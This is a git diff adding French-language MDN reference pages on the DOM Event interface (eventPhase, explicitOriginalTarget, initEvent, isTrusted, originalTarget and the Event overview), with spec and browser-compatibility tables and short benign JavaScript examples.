+  <span class="keyword token">for</span> <span class="punctuation token">(</span><span class="keyword token">var</span> i <span class="operator token">=</span> <span class="number token">0</span><span class="punctuation token">;</span> i <span class="operator token">&lt;</span> divs<span class="punctuation token">.</span>length<span class="punctuation token">;</span> i<span class="operator token">++</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="keyword token">var</span> d <span class="operator token">=</span> divs<span class="punctuation token">[</span>i<span class="punctuation token">]</span><span class="punctuation token">;</span>
+    <span class="keyword token">if</span> <span class="punctuation token">(</span>d<span class="punctuation token">.</span>id <span class="operator token">!=</span> <span class="string token">"divInfo"</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+      <span class="keyword token">if</span> <span class="punctuation token">(</span>chCapture<span class="punctuation token">.</span>checked<span class="punctuation token">)</span>
+        d<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">"click"</span><span class="punctuation token">,</span> OnDivClick<span class="punctuation token">,</span> <span class="keyword token">true</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+      <span class="keyword token">else</span>
+        d<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">"click"</span><span class="punctuation token">,</span> OnDivClick<span class="punctuation token">,</span> <span class="keyword token">false</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+      d<span class="punctuation token">.</span>onmousemove <span class="operator token">=</span> <span class="keyword token">function</span> <span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> clear <span class="operator token">=</span> <span class="keyword token">true</span><span class="punctuation token">;</span> <span class="punctuation token">}</span><span class="punctuation token">;</span>
+    <span class="punctuation token">}</span>
+  <span class="punctuation token">}</span>
+<span class="punctuation token">}</span>
+
+<span class="keyword token">function</span> <span class="function token">OnDivClick</span><span class="punctuation token">(</span>e<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">if</span> <span class="punctuation token">(</span>clear<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="function token">Clear</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span> clear <span class="operator token">=</span> <span class="keyword token">false</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+  <span class="keyword token">if</span> <span class="punctuation token">(</span>e<span class="punctuation token">.</span>eventPhase <span class="operator token">==</span> <span class="number token">2</span><span class="punctuation token">)</span>
+    e<span class="punctuation token">.</span>currentTarget<span class="punctuation token">.</span>style<span class="punctuation token">.</span>backgroundColor <span class="operator token">=</span> <span class="string token">'red'</span><span class="punctuation token">;</span>
+  <span class="keyword token">var</span> level <span class="operator token">=</span> e<span class="punctuation token">.</span>eventPhase <span class="operator token">==</span> <span class="number token">0</span> <span class="operator token">?</span> <span class="string token">"none"</span> <span class="punctuation token">:</span> e<span class="punctuation token">.</span>eventPhase <span class="operator token">==</span> <span class="number token">1</span> <span class="operator token">?</span> <span class="string token">"capturing"</span> <span class="punctuation token">:</span> e<span class="punctuation token">.</span>eventPhase <span class="operator token">==</span> <span class="number token">2</span> <span class="operator token">?</span> <span class="string token">"target"</span> <span class="punctuation token">:</span> e<span class="punctuation token">.</span>eventPhase <span class="operator token">==</span> <span class="number token">3</span> <span class="operator token">?</span> <span class="string token">"bubbling"</span> <span class="punctuation token">:</span> <span class="string token">"error"</span><span class="punctuation token">;</span>
+  divInfo<span class="punctuation token">.</span>innerHTML <span class="operator token">+</span><span class="operator token">=</span> e<span class="punctuation token">.</span>currentTarget<span class="punctuation token">.</span>id <span class="operator token">+</span> <span class="string token">"; eventPhase: "</span> <span class="operator token">+</span> level <span class="operator token">+</span> <span class="string token">"&lt;br/&gt;"</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="keyword token">function</span> <span class="function token">Clear</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">for</span> <span class="punctuation token">(</span><span class="keyword token">var</span> i <span class="operator token">=</span> <span class="number token">0</span><span class="punctuation token">;</span> i <span class="operator token">&lt;</span> divs<span class="punctuation token">.</span>length<span class="punctuation token">;</span> i<span class="operator token">++</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="keyword token">if</span> <span class="punctuation token">(</span>divs<span class="punctuation token">[</span>i<span class="punctuation token">]</span><span class="punctuation token">.</span>id <span class="operator token">!=</span> <span class="string token">"divInfo"</span><span class="punctuation token">)</span>
+      divs<span class="punctuation token">[</span>i<span class="punctuation token">]</span><span class="punctuation token">.</span>style<span class="punctuation token">.</span>backgroundColor <span class="operator token">=</span> <span class="punctuation token">(</span>i <span class="operator token">&amp;</span> <span class="number token">1</span><span class="punctuation token">)</span> <span class="operator token">?</span> <span class="string token">"#f6eedb"</span> <span class="punctuation token">:</span> <span class="string token">"#cceeff"</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+  divInfo<span class="punctuation token">.</span>innerHTML <span class="operator token">=</span> <span class="string token">''</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<p>{{ EmbedLiveSample('Example', '', '700', '', 'Web/API/Event/eventPhase') }}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Spécification</th>
+   <th>Statut</th>
+   <th>Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM WHATWG", "#dom-event-eventphase", "Event.eventPhase")}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM4", "#dom-event-eventphase", "Event.eventPhase")}}</td>
+   <td>{{Spec2("DOM4")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 Events", "#Events-Event-eventPhase", "Event.eventPhase")}}</td>
+   <td>{{Spec2("DOM2 Events")}}</td>
+   <td>Première définition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.Event.eventPhase")}}</p>
diff --git a/files/fr/web/api/event/explicitoriginaltarget/index.html b/files/fr/web/api/event/explicitoriginaltarget/index.html
new file mode 100644
index 0000000000..9844a934bf
--- /dev/null
+++ b/files/fr/web/api/event/explicitoriginaltarget/index.html
@@ -0,0 +1,49 @@
+---
+title: Event.explicitOriginalTarget
+slug: Web/API/Event/explicitOriginalTarget
+tags:
+  - API
+  - DOM
+  - Gecko
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Web/API/Event/explicitOriginalTarget
+---
+<div>{{ApiRef("DOM")}}{{Non-standard_header}}</div>
+
+<p>Cette propriété représente la cible originale de l'évènement. Elle est spécifique à Mozilla.</p>
+
+<p>Si l'évènement a été déporté pour une autre raison qu'une traverséee de frontière anonyme, cette propriété correspondra à la cible avant la déportation de l'évènement. Par exemples, les évènements de la souris sont déportés vers leur nœud parent lorsqu'ils se produisent sur des nœuds texte (cf. {{Bug(185889)}}). Dans ce cas <code><a href="/fr/docs/Web/API/Event/currentTarget">currentTarget</a></code> pointera vers le parent et <code>explicitOriginalTarget</code> vers le nœud texte.</p>
+
+<p>À la différence de <code><a href="/fr/docs/Web/API/Event/originalTarget">originalTarget</a></code>, <code>explicitOriginalTarget</code> ne contiendra jamais de contenu anonyme.</p>
+
+<p>Voir aussi une <a href="/fr/docs/DOM/event/Comparison_of_Event_Targets">comparaison des cibles pour les évènements</a>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Cette propriété peut être utiliséee avec <code>&lt;command&gt;</code> afin d'obtenir les détails de l'évènement de l'objet qui a invoqué la commande.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;command id="my-cmd-anAction"
+         oncommand="myCommand(event);"/&gt;
+&lt;menulist&gt;
+  &lt;menupopup&gt;
+    &lt;menuitem label="Get my element name!"
+              command="my-cmd-anAction"/&gt;
+  &lt;/menupopup&gt;
+&lt;/menulist&gt;</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">function myCommand(ev) {
+  console.log(ev.explicitOriginalTarget.nodeName);
+  // affichera 'menuitem'
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette propriété est spécifique à Mozilla. Elle est définie dans l'IDL {{Source("/dom/public/idl/events/nsIDOMNSEvent.idl")}}</p>
+
+<p>Cette propriété <strong>n'est pas définie</strong> dans la spécification <a href="https://www.w3.org/TR/DOM-Level-2-Events/events.html">DOM Level 2 Events</a></p>
diff --git a/files/fr/web/api/event/index.html b/files/fr/web/api/event/index.html
new file mode 100644
index 0000000000..bf5ecf5351
--- /dev/null
+++ b/files/fr/web/api/event/index.html
@@ -0,0 +1,183 @@
+---
+title: Event
+slug: Web/API/Event
+tags:
+  - API
+  - DOM
+  - Evènement
+  - Interface
+  - Reference
+  - interface utilisateur
+translation_of: Web/API/Event
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>L'interface <code><strong>Event</strong></code> <span id="result_box" lang="fr"><span>représente tout événement qui a lieu dans le DOM ;</span> <span>certains sont générés par l'utilisateur (tels que des événements de souris ou de clavier), tandis que d'autres sont générés par des API (par exemple, des événements indiquant qu'une animation est terminée, qu'une vidéo a été suspendue, etc.).</span> <span>Il existe plusieurs types d'événements, dont certains utilisent d'autres interfaces basées sur l'interface principale <code>Event</code>.</span> <code>Event</code><span> elle-même contient les propriétés et méthodes communes à tous les événements.</span></span></p>
+
+<h2 id="Interfaces_basées_sur_Event"><span lang="fr"><span>Interfaces basées sur <code>Event</code></span></span></h2>
+
+<p> <span id="result_box" lang="fr"><span>Voici une liste d'interfaces basées sur l'interface principale </span></span> <code>Event</code> <span lang="fr"><span>, avec des liens vers leur documentation respective dans la référence de l'API MDN.</span> <span>Notez que toutes les interfaces d'événements ont des noms qui se terminent par "Event".</span></span></p>
+
+<div class="index">
+<ul>
+ <li>{{domxref("AnimationEvent")}}</li>
+ <li>{{domxref("AudioProcessingEvent")}}</li>
+ <li>{{domxref("BeforeInputEvent")}}</li>
+ <li>{{domxref("BeforeUnloadEvent")}}</li>
+ <li>{{domxref("BlobEvent")}}</li>
+ <li>{{domxref("ClipboardEvent")}}</li>
+ <li>{{domxref("CloseEvent")}}</li>
+ <li>{{domxref("CompositionEvent")}}</li>
+ <li>{{domxref("CSSFontFaceLoadEvent")}}</li>
+ <li>{{domxref("CustomEvent")}}</li>
+ <li>{{domxref("DeviceLightEvent")}}</li>
+ <li>{{domxref("DeviceMotionEvent")}}</li>
+ <li>{{domxref("DeviceOrientationEvent")}}</li>
+ <li>{{domxref("DeviceProximityEvent")}}</li>
+ <li>{{domxref("DOMTransactionEvent")}}</li>
+ <li>{{domxref("DragEvent")}}</li>
+ <li>{{domxref("EditingBeforeInputEvent")}}</li>
+ <li>{{domxref("ErrorEvent")}}</li>
+ <li>{{domxref("FetchEvent")}}</li>
+ <li>{{domxref("FocusEvent")}}</li>
+ <li>{{domxref("GamepadEvent")}}</li>
+ <li>{{domxref("HashChangeEvent")}}</li>
+ <li>{{domxref("IDBVersionChangeEvent")}}</li>
+ <li>{{domxref("InputEvent")}}</li>
+ <li>{{domxref("KeyboardEvent")}}</li>
+ <li>{{domxref("MediaStreamEvent")}}</li>
+ <li>{{domxref("MessageEvent")}}</li>
+ <li>{{domxref("MouseEvent")}}</li>
+ <li>{{domxref("MutationEvent")}}</li>
+ <li>{{domxref("OfflineAudioCompletionEvent")}}</li>
+ <li>{{domxref("PageTransitionEvent")}}</li>
+ <li>{{domxref("PointerEvent")}}</li>
+ <li>{{domxref("PopStateEvent")}}</li>
+ <li>{{domxref("ProgressEvent")}}</li>
+ <li>{{domxref("RelatedEvent")}}</li>
+ <li>{{domxref("RTCDataChannelEvent")}}</li>
+ <li>{{domxref("RTCIdentityErrorEvent")}}</li>
+ <li>{{domxref("RTCIdentityEvent")}}</li>
+ <li>{{domxref("RTCPeerConnectionIceEvent")}}</li>
+ <li>{{domxref("SensorEvent")}}</li>
+ <li>{{domxref("StorageEvent")}}</li>
+ <li>{{domxref("SVGEvent")}}</li>
+ <li>{{domxref("SVGZoomEvent")}}</li>
+ <li>{{domxref("TimeEvent")}}</li>
+ <li>{{domxref("TouchEvent")}}</li>
+ <li>{{domxref("TrackEvent")}}</li>
+ <li>{{domxref("TransitionEvent")}}</li>
+ <li>{{domxref("UIEvent")}}</li>
+ <li>{{domxref("UserProximityEvent")}}</li>
+ <li>{{domxref("WebGLContextEvent")}}</li>
+ <li>{{domxref("WheelEvent")}}</li>
+</ul>
+</div>
+
+<h2 id="L.27interface_DOM_Event" name="L.27interface_DOM_Event">Constructeur</h2>
+
+<p><span class="comment">L'interface DOM &lt;code&gt;event&lt;/code&gt; est exposée dans les objets &lt;code&gt;event&lt;/code&gt; qui sont passés aux gestionnaires d'évènements sur divers éléments du DOM.</span></p>
+
+<dl>
+ <dt>{{domxref("Event.Event", "Event()")}}</dt>
+ <dd>Crée un objet Event le retournant à l'appelant.</dd>
+</dl>
+
+<h2 id="Propri.C3.A9t.C3.A9s" name="Propri.C3.A9t.C3.A9s">Propriétés</h2>
+
+<dl>
+ <dt>{{domxref("Event.bubbles")}} {{readonlyinline}}</dt>
+ <dd>un booléen indiquant si l'évènement se propage vers le haut dans le DOM ou non.</dd>
+ <dt>{{domxref("Event.cancelBubble")}}</dt>
+ <dd>u<span id="result_box" lang="fr"><span>n alias historique de {{domxref ("Event.stopPropagation ()")}}.</span> <span>Définir sa valeur sur <code>true,</code> avant qu'elle revienne d'un gestionnaire d'événements, empêche la propagation de l'événement.</span></span></dd>
+ <dt>{{domxref("Event.cancelable")}} {{readonlyinline}}</dt>
+ <dd>Un booléen indiquant si l'évènement est annulable.</dd>
+ <dt>{{domxref("Event.composed")}} {{ReadOnlyInline}}</dt>
+ <dd><span id="result_box" lang="fr"><span>Un booléen indiquant si l'événement peut ou non traverser la frontière entre le DOM shadow et le DOM normal.</span></span></dd>
+ <dt>{{domxref("Event.currentTarget")}} {{readonlyinline}}</dt>
+ <dd><span id="result_box" lang="fr"><span>Une référence à la cible actuellement enregistrée pour l'événement.</span> <span>C'est l'objet auquel l'événement doit actuellement être envoyé ;</span> <span>il est possible que cela ait été modifié au cours du reciblage.</span></span></dd>
+ <dt>{{domxref("Event.deepPath")}} {{non-standard_inline}}</dt>
+ <dd>Un {{jsxref("Array")}} (<em>tableau</em>) de {{domxref("Node")}}  DOM à travers lesquels l'event a été propagé.</dd>
+ <dt>{{domxref("Event.defaultPrevented")}} {{readonlyinline}}</dt>
+ <dd>indique si {{domxref("event.preventDefault()")}} a été appelé ou non dans l'événement.</dd>
+ <dt>{{domxref("Event.eventPhase")}} {{readonlyinline}}</dt>
+ <dd>indique dans quelle phase de l'évènement on se trouve actuellement.</dd>
+ <dt>{{domxref("Event.explicitOriginalTarget")}} {{non-standard_inline}} {{readonlyinline}}</dt>
+ <dd>La cible explicite originale de l'évènement (spécifique à Mozilla).</dd>
+ <dt>{{domxref("Event.originalTarget")}} {{non-standard_inline}} {{readonlyinline}}</dt>
+ <dd>La cible originale de l'évènement, avant toute modification de celle-ci (spécifique à Mozilla).</dd>
+ <dt>{{domxref("Event.returnValue")}} {{non-standard_inline}}</dt>
+ <dd>une alternative non standard (de versions anciennes de MS IE) de {{domxref("Event.preventDefault()")}} et {{domxref("Event.defaultPrevented")}}.</dd>
+ <dt>{{domxref("Event.srcElement")}} {{non-standard_inline}}</dt>
+ <dd>Un alias non standard (d'anciennes versions de MS IE) pour {{domxref("Event.target")}}.</dd>
+ <dt>{{domxref("Event.target")}} {{readonlyinline}}</dt>
+ <dd>une référence à la cible vers laquelle l'évènement était originellement destiné.</dd>
+ <dt>{{domxref("Event.timeStamp")}} {{readonlyinline}}</dt>
+ <dd>Le moment de création de l'évènement, en millisecondes. <span id="result_box" lang="fr"><span>Par spécification, cette valeur est le temps écoulé depuis le moment, mais en réalité les définitions des navigateurs varient ;</span> <span>en outre, le travail est en cours pour le changer en </span></span> {{domxref("DOMHighResTimeStamp")}}.</dd>
+ <dt>{{domxref("Event.type")}} {{readonlyinline}}</dt>
+ <dd>Le nom de l'évènement (insensible à la casse).</dd>
+ <dt>{{domxref("Event.isTrusted")}} {{readonlyinline}}</dt>
+ <dd>indique si l'évènement est initié par le navigateur ou non (après un click d'utilisateur ou par un script utilisant une méthode de création d'évènement comme <a href="https://developer.mozilla.org/fr/docs/Web/API/Event/initEvent">event.initEvent</a>)</dd>
+</dl>
+
+<h3 id="Propriétés_obsolètes">Propriétés obsolètes</h3>
+
+<dl>
+ <dt>{{domxref("Event.scoped")}} {{readonlyinline}} {{obsolete_inline}}</dt>
+ <dd>un {{jsxref("Boolean")}} indiquant si l'événement donné peut être propagé à travers la racine shadow dans le DOM standard. Cette propriété a été renommée {{domxref("Event.composed", "composed")}}.</dd>
+</dl>
+
+<h2 id="M.C3.A9thodes" name="M.C3.A9thodes">Méthodes</h2>
+
+<dl>
+ <dt>{{domxref("Event.createEvent()")}} </dt>
+ <dd>Crée un nouvel <code>Event</code> (<em>évènement</em>) qui doit alors être initialisé par l'appel à la méthode <code>initEvent()</code>.</dd>
+ <dt>{{domxref("Event.composedPath()")}}</dt>
+ <dd>Renvoie le chemin de l'événement (objets sur lesquels les écouteurs seront appelés). Cela n'inclut pas les noeuds dans les arbres shadow si la racine shadow a été créée avec son {{domxref("ShadowRoot.mode")}} fermé.</dd>
+ <dt>{{domxref("Event.initEvent()")}} {{deprecated_inline}}</dt>
+ <dd>initialise la valeur d'un évènement créé. Si l'évènement a déjà été propagé, la méthode ne produit rien.</dd>
+ <dt>{{domxref("Event.preventDefault()")}}</dt>
+ <dd>Annule l'évènement (s'il est annulable).</dd>
+ <dt>{{domxref("Event.stopImmediatePropagation()")}}</dt>
+ <dd>Pour cet évènement particulier, aucun autre écouteur ne peut être appelé.  <span id="result_box" lang="fr"><span>Ni ceux attachés au même élément, ni ceux attachés aux éléments qui seront traversés plus tard (en phase de capture, par exemple)</span></span></dd>
+ <dt>{{domxref("Event.stopPropagation()")}}</dt>
+ <dd>Arrête la propagation ultérieure d'évènements dans le DOM.</dd>
+</dl>
+
+<h3 id="Méthodes_obsolètes">Méthodes obsolètes</h3>
+
+<dl>
+ <dt>{{domxref("Event.preventBubble()")}} {{non-standard_inline}} {{Obsolete_inline(24)}}</dt>
+ <dd>Empêche l'évènement de se propager. Obsolète, utilisez la méthode {{domxref("event.stopPropagation")}} à la place.</dd>
+ <dt>{{domxref("Event.preventCapture()")}} {{non-standard_inline}} {{Obsolete_inline(24)}}</dt>
+ <dd>Obsolète, utilisez la méthode {{domxref("event.stopPropagation")}} à la place.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Event.getPreventDefault()")}} {{non-standard_inline}}</dt>
+ <dd>Non standard. Retourne la valeur de {{domxref("Event.defaultPrevented")}}. Utilisez à la place {{domxref("Event.defaultPrevented")}} .</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Spécification Statut Commentaire {{SpecName('DOM WHATWG', '#interface-event', 'Event')}} {{Spec2('DOM WHATWG')}}  </p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.Event")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Types d'évènements disponibles : <a href="https://developer.mozilla.org/fr/docs/Web/Events">Référence Event</a></li>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/API/Event/Comparison_of_Event_Targets">Comparaison des cibles d'Event</a> (<span id="result_box" lang="fr"><span>target vs currentTarget vs relatedTarget vs originalTarget</span></span> )</li>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/Guide/DOM/Events/Creating_and_triggering_events">Création et déclenchement d'évènements personnalisés</a></li>
+ <li><span class="short_text" id="result_box" lang="fr"><span>Pour les développeurs de Firefox :</span></span>
+  <ul>
+   <li><a href="https://developer.mozilla.org/fr/docs/Listening_to_events_in_Firefox_extensions">Écouter des évènements dans les extensions Firefox</a></li>
+   <li><a href="https://developer.mozilla.org/fr/docs/Listening_to_events_on_all_tabs">Écouter des événements sur tous les onglets</a></li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/api/event/initevent/index.html b/files/fr/web/api/event/initevent/index.html
new file mode 100644
index 0000000000..ae5a5fabce
--- /dev/null
+++ b/files/fr/web/api/event/initevent/index.html
@@ -0,0 +1,93 @@
+---
+title: event.initEvent
+slug: Web/API/Event/initEvent
+tags:
+  - API
+  - DOM
+  - Evènement
+  - Méthode
+  - Reference
+translation_of: Web/API/Event/initEvent
+---
+<p>{{ApiRef("DOM")}}{{deprecated_header}}</p>
+
+<p>La méthode <strong><code>Event.initEvent()</code></strong> est utilisée pour initialiser la valeur d'un objet {{domxref("event")}} créé à l'aide de {{domxref("Document.createEvent()")}}.</p>
+
+<p>Les évènements initialisés par ce moyen ont été créés par la méthode {{domxref("Document.createEvent()")}}. Celle-ci doit être appelée à définir l'évènement avant qu'il ne soit distribué, en utilisant {{domxref("EventTarget.dispatchEvent()")}}. <span class="short_text" id="result_box" lang="fr"><span>Une fois l'évènement transmis, la méthode ne fait plus rien.</span></span></p>
+
+<div class="note">
+<p><strong><span class="short_text" lang="fr"><span>Note : Ne pas utiliser cette méthode qui est dépréciée</span></span></strong></p>
+
+<p>À la place, utilisez un constructeur d'évènements spécifique comme {{domxref("Event.Event", "Event()")}} . La page <a href="https://developer.mozilla.org/fr/docs/Web/Guide/DOM/Events/Creating_and_triggering_events">Création et déclenchement d'évènements</a> vous donne plus d'informations sur la manière de les utiliser.</p>
+</div>
+
+<h2 id="Syntaxe" name="Syntaxe">Syntaxe</h2>
+
+<pre class="eval"><em>event</em>.initEvent(<em>type</em>, <em>bubbles</em>, <em>cancelable</em>)
+</pre>
+
+<dl>
+ <dt><code>type</code></dt>
+ <dd>est une {{domxref("DOMString")}}  qui définit le type d'évènement.</dd>
+ <dt><code>bubbles</code></dt>
+ <dd>est un {{jsxref("Boolean")}} indiquant si l'évènement doit se propager vers le haut dans la chaîne des évènements ou non. Une fois déterminé, la propriété en lecture seule  {{domxref("Event.bubbles")}} donnera sa valeur.</dd>
+ <dt><code>cancelable</code></dt>
+ <dd>Une valeur booléenne définissant si l'évènement peut être annulé. Une fois déterminé, la propriété en lecture seule  {{ domxref("Event.cancelable") }}  donnera sa valeur.</dd>
+</dl>
+
+<h2 id="Exemple" name="Exemple">Exemple</h2>
+
+<pre><code>// Crée un évènement.
+var event = document.createEvent('Event');
+</code>
+// Crée un évènement click qui doit se propager vers le haut
+// et ne peut être annulé<code>
+event.initEvent('click', true, false);
+
+// Écoute les évènements.
+elem.addEventListener('click', function (e) {
+  // e.target matches elem
+}, false);
+
+elem.dispatchEvent(event);</code>
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-event-initevent','Event.initEvent()')}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td>Depuis {{SpecName('DOM2 Events')}}, dépréciée, <span class="short_text" id="result_box" lang="fr"><span>remplacée par les constructeurs d'événements.</span></span></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Events','##Events-Event-initEvent','Event.initEvent()')}}</td>
+   <td>{{Spec2('DOM2 Events')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilité des navigateurs</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+
+
+<p>{{Compat("api.Event.initEvent")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Le constructeur à utiliser à la place de cette méthode dépréciée : {{domxref("Event.Event","Event()")}}. <span id="result_box" lang="fr"><span>Des constructeurs plus spécifiques peuvent aussi être utilisés</span></span> .</li>
+</ul>
+
+<p> </p>
diff --git a/files/fr/web/api/event/istrusted/index.html b/files/fr/web/api/event/istrusted/index.html
new file mode 100644
index 0000000000..59ffc29342
--- /dev/null
+++ b/files/fr/web/api/event/istrusted/index.html
@@ -0,0 +1,117 @@
+---
+title: Event.isTrusted
+slug: Web/API/Event/isTrusted
+tags:
+  - API
+  - Event
+  - Property
+  - Read-only
+  - Référence(2)
+translation_of: Web/API/Event/isTrusted
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>La propriété en lecture seule isTrusted, de l'interface {{domxref("Event")}}, est un booléen qui vaut true lorsque l'événement est généré par une action de l'utilisateur, et false, quand l'événement est créé ou modifié par un script ou envoyé par dispatchEvent.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox">var bool = event.isTrusted;
+</pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre> if (e.isTrusted) {
+     /* The event is trusted. */
+ } else {
+     /* The event is not trusted. */
+ }
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-event-istrusted', 'Event.isTrusted')}}</td>
+   <td>{{ Spec2('DOM WHATWG') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Events', '#trusted-events', 'Trusted events')}}</td>
+   <td>{{Spec2('DOM3 Events')}}</td>
+   <td>
+    <p>Ajoute des conditions à propos des événement trusted et untrusted. Cependant, cela ne défini pas la propriété isTrusted.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM4', '#dom-event-istrusted', 'Event.isTrusted')}}</td>
+   <td>{{Spec2('DOM4')}}</td>
+   <td>Première définition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(46.0)}} [1]</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}} [2]</td>
+   <td>{{CompatOpera(33)}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(46.0)}} [1]</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOperaMobile(33)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(46.0)}} [1]</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Commence avec Chrome 53, les événements untrusted n'invoquent pas l'action par défaut. </p>
+
+<p>[2] Avec Internet Explorer, tous les événements sont trusted, excepté ceux créés avec la méthode <code>createEvent().</code></p>
diff --git a/files/fr/web/api/event/originaltarget/index.html b/files/fr/web/api/event/originaltarget/index.html
new file mode 100644
index 0000000000..ad65cdc914
--- /dev/null
+++ b/files/fr/web/api/event/originaltarget/index.html
@@ -0,0 +1,41 @@
+---
+title: Event.originalTarget
+slug: Web/API/Event/originalTarget
+tags:
+  - API
+  - Cible
+  - DOM
+  - Evènement
+  - Propriétés
+  - origine
+translation_of: Web/API/Event/originalTarget
+---
+<div>{{ ApiRef("DOM") }} {{Non-standard_header}}</div>
+
+<div> </div>
+
+<h2 id="Summary" name="Summary">Résumé</h2>
+
+<p>La cible d'origine de l'évènement avant tout reciblage. (spécifique à Mozilla)</p>
+
+<p>En présence de contenu anonyme <a href="https://developer.mozilla.org/fr/docs/XBL" title="XBL">XBL</a>, ce sera le nœud anonyme sur lequel l'événement a été déclenché à l'origine. Voir <a href="https://developer.mozilla.org/fr/docs/Mozilla/Tech/XBL/XBL_1.0_Reference/Anonymous_Content#Event_Flow_and_Targeting" title="XBL/XBL_1.0_Reference/Anonymous_Content#Event_Flow_and_Targeting">Anonymous Content#Event_Flow_and_Targeting</a> pour plus de détails.</p>
+
+<p><strong>Note :</strong> <code>originalTarget</code> peut aussi être un contenu anonyme natif  (voir {{Bug("208427")}}), dans ce cas, il est inutile pour le code non privilégié.</p>
+
+<p>Voir aussi <a href="https://developer.mozilla.org/fr/docs/Web/API/Event/Comparaison_des_cibles_d_%C3%A9v%C3%A8nements" title="DOM/event/Comparison_of_Event_Targets">Comparaison des cibles d'évènements.</a></p>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<p><em>Besoin d'un exemple qui ait du sens ici. ^^</em></p>
+
+<h2 id="Specification" name="Specification">Spécification</h2>
+
+<p>C'est une propriété propre à Mozilla. Définie dans {{Source("/dom/public/idl/events/nsIDOMNSEvent.idl")}}</p>
+
